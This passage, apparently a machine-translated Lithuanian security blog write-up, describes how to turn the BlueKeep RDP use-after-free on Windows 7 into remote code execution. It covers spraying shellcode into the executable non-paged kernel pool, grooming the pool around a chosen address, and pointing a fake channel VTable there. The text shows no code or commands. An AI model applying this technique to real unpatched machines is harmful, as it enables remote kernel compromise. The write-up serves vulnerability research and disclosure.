Kaip žmogus, dirbantis tik su „Windows 10“, iš pradžių ėjau sudėtingesniu keliu, tuo pačiu metu bandydamas apeiti ASLR (adresų erdvės išdėstymo atsitiktinį nustatymą) ir DEP (duomenų vykdymo prevenciją, AKA No Execute). Tai buvo tada, kai Ryanas Hansonas (@ryHanson) davė man tokią užuominą: „Tame purškime yra kažkas dar ypatingesnio. Atminkite, kad tai yra „Win7“.
Žinoma! Tai „Windows 7“! Kalbant apie branduolio atmintį be puslapių, DEP nėra. Tiesiogine prasme galime tiesiog įrašyti apvalkalo kodą tiesiai į branduolį (atminkite, kad mano paaiškintas purškimo krūvos metodas leidžia mums paskirstyti savavališkus duomenis ne puslapių telkinyje).
Patobulintas atminties išdėstymas dabar atrodo maždaug taip.
Tiek VTable, tiek Shellcode gali būti tame pačiame atminties buferyje, nes jis yra RWX (skaitomas, rašomas, vykdomas).
Mums nereikia ROP grandinės, kad galėtume įrašyti apvalkalo kodą į vykdomąją atmintį, kaip tai darytume vartotojo režimu, galime tiesiog išpurkšti jį į puslapių neturintį telkinį. Tik paskutinė problema: kaip gauti paskirstymo adresą, kad būtų galima nustatyti VTable žymeklį kanalo struktūroje?
„Windows 7“ ir senesnėse versijose ne puslapių telkinys prasideda fiksuotu adresu (Nt!MmNonPagedPoolStart). Mes žinome, kur prasideda ne puslapių rinkinys, bet nežinome, kur ne puslapių rinkinyje yra mūsų apvalkalo kodas… Bet mes galime tai šiek tiek kontroliuoti.
Atmintis be puslapių yra šventa, nes jos dydis yra ribotas dėl puslapių trūkumo. Dėl to branduolys paprastai vengia jo naudoti bet kam, ko nebūtinai turi būti. Tai reiškia, kad atminties naudojimas yra gana mažas.
Ką galime padaryti, tai pasirinkti adresą (tarkime, 500 MB į puslapių neturintį telkinį), kuris greičiausiai nebus paskirstytas dėl mažo atminties naudojimo. Tada išpurškiame pakankamai apvalkalo kodo kopijų, kad užpildytume nepuslapių telkinį už mūsų pasirinkto adreso, todėl labai tikėtina, kad apvalkalo kodo kopija bus ten.
Kadangi dauguma objektų, kurie dažnai skiriami ne puslapių telkinyje, yra labai maži, galime sukurti daug skylių, mažesnių nei mūsų apvalkalo kodo dydis (iki pasirinkto adreso), užtikrinant, kad ten būtų paskirstyti kiti skyrimai.
Tada galime nustatyti VTable žymeklį savo netikrų kanalų struktūroje mūsų pasirinktu adresu, todėl apvalkalo kodas bus vykdomas kiekvieną kartą, kai kanalas gauna pranešimą.
Viena iš priežasčių, kodėl šis pažeidžiamumas yra toks pavojingas, yra tai, kad nėra realių paveiktos sistemos mažinimo priemonių. DEP nebuvimas branduolyje ir daug gerai dokumentuotų statinių adresų reiškia, kad adreso nutekėjimo + ROP grandinės poreikis yra pašalintas. Be to, VTable buvimas jau suteikia savavališką vykdymo primityvą, todėl DoS paversti RCE reikia labai mažai.
Šaukite nulis 0x0 ir Ryanas Hansonas už puikų darbą su „BlueKeep“, taip pat visiems, kurie sulaikė informaciją apie pažeidžiamumą, kad organizacijoms duotų mėnesių pataisyti.
Būtini slapukai įgalina svarbias svetainės funkcijas, tokias kaip saugus prisijungimas ir sutikimo nustatymų keitimas. Jie nesaugo asmeninių duomenų.
Nėra
►
Funkciniai slapukai palaiko funkcijas, tokias kaip turinio dalinimasis socialiniuose tinkluose, atsiliepimų rinkimas ir trečiųjų šalių įrankių įjungimas.
Nėra
►
Analitiniai slapukai seka lankytojų sąveikas, teikdami įžvalgas apie tokius rodiklius kaip lankytojų skaičius, atmetimo rodiklis ir srauto šaltiniai.
Nėra
►
Reklamos slapukai pateikia suasmenintas reklamas pagal jūsų ankstesnius apsilankymus ir analizuoja reklamos kampanijų efektyvumą.
Nėra
►
Neklasifikuoti slapukai yra slapukai, kuriuos šiuo metu klasifikuojame kartu su atskirų slapukų teikėjais.